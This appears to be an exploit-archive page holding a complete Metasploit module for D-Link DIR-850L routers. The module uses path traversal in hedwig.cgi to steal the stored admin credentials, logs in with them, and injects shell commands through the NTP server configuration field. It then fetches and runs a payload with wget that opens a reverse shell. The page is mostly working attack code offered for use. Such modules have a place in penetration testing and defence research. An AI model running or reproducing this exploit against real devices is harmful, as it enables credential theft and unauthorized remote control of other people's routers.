Exploit the possiblities

D-Link DIR-850L Unauthenticated Command Execution

D-Link DIR-850L Unauthenticated Command Execution
Posted Nov 14, 2017
Authored by Mumbai, Zdenda | Site metasploit.com

This Metasploit module leverages an unauthenticated credential disclosure vulnerability to execute arbitrary commands on DIR-850L routers as an authenticated user.

tags | exploit, arbitrary
MD5 | 670314dfdf489f27ab72b01f00cd4dc6

D-Link DIR-850L Unauthenticated Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
'Description' => %q{
This module leverages an unauthenticated credential disclosure
vulnerability to then execute arbitrary commands on DIR-850L routers
as an authenticated user. Unable to use Meterpreter payloads.
},
'Author' => [
'Mumbai', # https://github.com/realoriginal (module)
'Zdenda' # vuln discovery
],
'References' => [
['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
],
'DisclosureDate' => 'Aug 9 2017',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp'
},
'Privileged' => true,
'Payload' => {
'DisableNops' => true,
},
'Targets' => [[ 'Automatic', {} ]],
))
end

def check
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res.headers['Server']
auth = res.headers['Server']
if auth =~ /DIR-850L/
if auth =~ /WEBACCESS\/1\.0/
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Detected
end
end
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end

def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)

create_credential_login(login_data)
end


# some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
# should write an auxiliary module to-do -> WRITE AUXILIARY
def retrieve_creds
begin
xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
xml << "<postxml>\r\n"
xml << "<module>\r\n"
xml << " <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
xml << "</module>\r\n"
xml << "</postxml>"
res = send_request_cgi({
'uri' => '/hedwig.cgi',
'method' => 'POST',
'encode_params' => false,
'headers' => {
'Accept-Encoding' => 'gzip, deflate',
'Accept' => '*/*'
},
'ctype' => 'text/xml',
'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
'data' => xml,
})
if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
parse = res.get_xml_document
username = parse.at('//name').text
password = parse.at('//password').text
vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
print_good("#{peer} - Downloaded credentials to #{loot}")
return username, password
else
fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end

def retrieve_uid
begin
res = send_request_cgi({
'uri' => '/authentication.cgi',
'method' => 'GET',
})
parse = res.get_json_document
uid = parse['uid']
challenge = parse['challenge']
return uid, challenge
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end

def login(username, password)
uid, challenge = retrieve_uid
begin
hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
send_request_cgi({
'uri' => '/authentication.cgi',
'method' => 'POST',
'data' => "id=#{username}&password=#{hash}",
'cookie' => "uid=#{uid}"
})
return uid
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end

def execute_command(cmd, opts)
uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
payload << "<postxml>\r\n"
payload << "<module>\r\n"
payload << " <service>DEVICE.TIME</service>\r\n"
payload << " <device>\r\n"
payload << " <time>\r\n"
payload << " <ntp>\r\n"
payload << " <enable>1</enable>\r\n"
payload << " <period>604800</period>\r\n"
payload << " <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>\r\n"
payload << " </ntp>\r\n"
payload << " <ntp6>\r\n"
payload << " <enable>1</enable>\r\n"
payload << " <period>604800</period>\r\n"
payload << " </ntp6>\r\n"
payload << " <timezone>20</timezone>\r\n"
payload << " <time/>\r\n"
payload << " <date/>\r\n"
payload << " <dst>0</dst>\r\n"
payload << " <dstmanual/>\r\n"
payload << " <dstoffset/>\r\n"
payload << " </time>\r\n"
payload << " </device>\r\n"
payload << "</module>\r\n"
payload << "</postxml>"
begin
# save configuration
res = send_request_cgi({
'uri' => '/hedwig.cgi',
'method' => 'POST',
'ctype' => 'text/xml',
'data' => payload,
'cookie' => "uid=#{uid}"
})
# execute configuration
res = send_request_cgi({
'uri' => '/pigwidgeon.cgi',
'method' => 'POST',
'data' => 'ACTIONS=SETCFG,ACTIVATE',
'cookie' => "uid=#{uid}"
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end


def exploit
print_status("#{peer} - Connecting to target...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
end
#
# Information Retrieval, obtains creds and logs in
#
@username, @password = retrieve_creds
execute_cmdstager(
:flavor => :wget,
:linemax => 200
)
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close